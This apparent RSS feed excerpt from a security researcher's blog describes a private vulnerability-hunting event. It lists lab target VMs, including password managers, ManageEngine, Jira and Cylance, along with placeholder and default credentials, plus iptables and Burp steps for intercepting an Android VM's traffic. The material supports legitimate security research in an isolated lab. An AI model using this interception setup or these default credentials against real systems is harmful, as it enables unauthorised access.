<li>Thycotic Secret Server
<ul>
<li>URL: <a href="https://192.168.66.100/SecretServer">https://192.168.66.100/SecretServer</a></li>
<li>USER: admint</li>
<li>PASS: ][Password][</li>
</ul>
</li>
<li>Thycotic Privliage Manager
<ul>
<li>URL: <a href="https://192.168.66.100/TMS/PrivilegeManager">https://192.168.66.100/TMS/PrivilegeManager</a></li>
<li>USER: admint</li>
<li>PASS: ][Password][</li>
</ul>
</li>
<li>ManageEngine Password Manager Pro
<ul>
<li>URL: <a href="https://192.168.66.100:7272/PassTrixMain.cc">https://192.168.66.100:7272/PassTrixMain.cc</a></li>
<li>USER: admin</li>
<li>PASS: admin</li>
</ul>
</li>
<li>Keeper
<ul>
<li>Connector (bridge) is setup on 192.168.66.100</li>
<li>URL: <a href="https://keepersecurity.com/en_US/console/#login">https://keepersecurity.com/en_US/console/#login</a></li>
<li>USER: <a href="mailto:init6@init6.me">init6@init6.me</a></li>
<li>PASS: Will be disclosed at event.</li>
</ul>
</li>
<li>ZOHO Vault
<ul>
<li>Connector (bridge) is setup on 192.168.66.100</li>
<li>URL: <a href="https://vault.zoho.com/online/main">https://vault.zoho.com/online/main</a></li>
<li>USER: <a href="mailto:init6@init6.me">init6@init6.me</a></li>
<li>PASS: Will be disclosed at event.</li>
</ul>
</li>
<li>1Password (Online Only)</li>
</ul>
</li>
</ul>
</li>
<li>
<h3 id="android">Android</h3>
<ul>
<li>
<p>HOST</p>
<ul>
<li><a href="http://www.android-x86.org">http://www.android-x86.org</a></li>
<li>IP: 192.168.11.11</li>
<li>VNC Ports: 6000 - 6017</li>
<li>To connect I suggest using Remmina.</li>
<li>Google User: <a href="mailto:blackmarble@gmail.com">blackmarble@gmail.com</a></li>
<li>Google Pass: Will be disclosed at event if you need it.</li>
</ul>
</li>
<li>
<p>Software</p>
<ul>
<li>Keeper</li>
<li>Thycotic Secret Server</li>
<li>Thycotic PAM</li>
<li>Password Manager - Zoho Vault</li>
<li>PMP (Couldn&apos;t get to work)</li>
<li>LastPass</li>
<li>Norton IDSafe</li>
<li>Google Play store works, If you want to attack something else thats okay.</li>
</ul>
</li>
<li>
<p>Burp Configuration</p>
<ul>
<li>Import the cacert.pem into your Burp. (Make sure you regenerate after you leave)</li>
<li>In the Android VM, Hit ALT+F1 to access terminal.</li>
<li>su to root</li>
<li>Configure iptables to redirect traffic to your Burp.</li>
<li>iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination BURP_ADDRESS:BURP_PORT</li>
<li>iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination BURP_ADDRESS:BURP_PORT</li>
<li>Restart the VM if you want to flush out existing iptable rules.</li>
<li>If you want to use your own cert check out my blog entry <a href="https://init6.me/android-hacking-environment/">here</a></li>
</ul>
</li>
<li>
<p>ADB Configuration</p>
<ul>
<li>Android Documentation can be found <a href="https://developer.android.com/studio/command-line/adb">here</a></li>
<li>In the Android VM, Hit ALT+F1 to access terminal.</li>
<li>Get the IP Address: ifconfig</li>
<li>adb connect ip_address</li>
</ul>
</li>
</ul>
</li>
</ul><!--kg-card-end: html--><p></p>]]></content:encoded></item><item><title><![CDATA[0x00 0-DAY ALL DAY]]></title><description><![CDATA[Hacking, Barbecue, and Drinking...]]></description><link>https://blackmarble.sh/0x00-0-day-all-day/</link><guid isPermaLink="false">5d1388cf097f7c18348985a5</guid><category><![CDATA[event]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Tue, 06 Mar 2018 02:25:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1531764454253-b78e7d66702c?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=48f789962677549d1456919d301edd49" medium="image"/><content:encoded><![CDATA[<h1 id="hacking-barbecue-drinking-">Hacking, Barbecue, &amp; Drinking...</h1><img src="https://images.unsplash.com/photo-1531764454253-b78e7d66702c?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=48f789962677549d1456919d301edd49" alt="0x00 0-DAY ALL DAY"><p>When: <s>March 31st, 2018</s> April 7th, 2018<br>Time: 11am to 8pm+<br>Where: INIT_6&apos;s place. <a href="https://twitter.com/INIT_3">DM</a> for address.</p><h1 id="food-">Food:</h1><ul><li>I&apos;ll be providing Hamburgers, chips, dips, etc</li><li>BYOB - Bring Your Own Booze</li></ul><h1 id="rules-">Rules:</h1><ul><li>Must participate. Researching for others counts</li><li>If you find a vulnerability it&apos;s yours.</li><li>If there is a bug bounty you get to choose what to do with the money. Sponsor next event or keep it. Maybe a little of both.</li><li>A quick vape inside is fine, Long sessions step outside.</li><li>Smoking analog step outside.</li><li>Targets are on 192.168.66.0/24 network stay there :)</li><li>Don&apos;t be a dick.</li></ul><h1 id="prize-s-">Prize&apos;s:</h1><ul><li>Most found CVE&apos;s - $50 Gift Card to Amazon</li><li>Best vulnerability found - $50 Gift Card to Amazon</li><li>Community MVP - $25 Gift Card to Amazon</li><li>Miss Congeniality - $25 Gift Card to Amazon</li></ul><h1 id="hacking-">Hacking:</h1><ul><li>ManageEngine <a href="https://www.manageengine.com/active-directory-360/">AD360</a></li><li>ManageEngine <a href="https://www.manageengine.com/products/passwordmanagerpro/">Password Manager Pro</a></li><li>Atlassian <a href="https://www.atlassian.com/software/jira">Jira</a></li><li><a href="https://github.com/TryGhost/Ghost">tryGhost</a></li><li>Cylance <a href="https://www.cylance.com/en_us/products/our-products/protect.html">CylancePROTECT</a></li><li>Cylance <a href="https://www.cylance.com/en_us/products/our-products/optics.html">CylanceOPTICS</a></li><li>MFA details provided at event.</li><li>These are all VM&apos;s I can reset them if needed.</li></ul><h2 id="details-of-targets">Details of targets</h2><ul><li> Domain Server and General Info &#xA0;HOST &#xA0;Domain Controller Windows Server 2016 IP: 192.168.66.5 Domain: blackmarble.sh Admin: administrator Pass: ][Password][ Other users: &#xA0;fox.zero fox.one ... fox.ten &#xA0; Has a fun MFA thing to hack on ;) Global Share: \WIN-8CJ4M00PQSL\Data &#xA0;has install files and some notes. gray folder has some .net decompiler programs cfr_0_122.jar is used to decompile java Feel free to put whatever here. &#xA0; &#xA0; &#xA0;</li><li> ManageEngine AD360 &#xA0;HOST &#xA0;Windows 2016 Server IP: 192.168.66.6 Hostname: MANAGEENGINE-01 User: administrator Pass: ][Password][ Share for AD360, ADFree Tools, ADManager Plus, ADSelfService Plus: \MANAGEENGINE-01\ManageEngine Share for ADUdit Plus: \MANAGEENGINE-01\ManageEngine2 Each program has a folder called output what has the decompiled java source code. &#xA0; Software &#xA0;AD360 &#xA0;<a href="http://192.168.66.6:8082">http://192.168.66.6:8082</a> &#xA0; AD360 Manager Plus &#xA0;<a href="http://192.168.66.6:8080">http://192.168.66.6:8080</a> &#xA0; ADAudit Plus &#xA0;<a href="http://192.168.66.6:8081">http://192.168.66.6:8081</a> &#xA0; ADSelfService Plus &#xA0;<a href="http://192.168.66.6:8888">http://192.168.66.6:8888</a> &#xA0; &#xA0; &#xA0;</li><li> ManageEngine Password Manager Pro &#xA0;HOST &#xA0;Ubuntu Server 16.04.4 LTS IP: 192.168.66.25 Hostname: pmp User: fox Pass: ][Password][ &#xA0; Software &#xA0;PMP &#xA0;<a href="http://192.168.66.25:7272">http://192.168.66.25:7272</a> Location: /home/fox/ManageEngine/PMP output folder has the decompiled source code. &#xA0;/home/fox/ManageEngine/PMP/output /home/fox/ManageEngine/PMP/lib/output &#xA0; What I have done so far <a href="https://init6.me/manageengine-password-pro/">https://init6.me/manageengine-password-pro/</a> &#xA0; &#xA0; &#xA0;</li><li> Jira &#xA0;HOST &#xA0;CentOS 7 IP: 192.168.66.10 User: root Pass: ][Password][ &#xA0; Software &#xA0;<a href="http://192.168.66.25:8080">http://192.168.66.25:8080</a> User: fox Pass: ][Password][ Data locations &#xA0;/var/atlassian/application-data/jira /opt/atlassian/jira output has the decompiled java source code Settings -&gt; Application page has a spot to Upload an application which is where I want to start. &#xA0; &#xA0; &#xA0;</li><li> Cylance &#xA0;HOST &#xA0;Windows 10 Pro IP: 192.168.66.23 Hostname: Cylance-01.blackmarble.sh User: Administrator Pass: ][Password][ &#xA0; &#xA0;</li></ul>]]></content:encoded></item></channel></rss>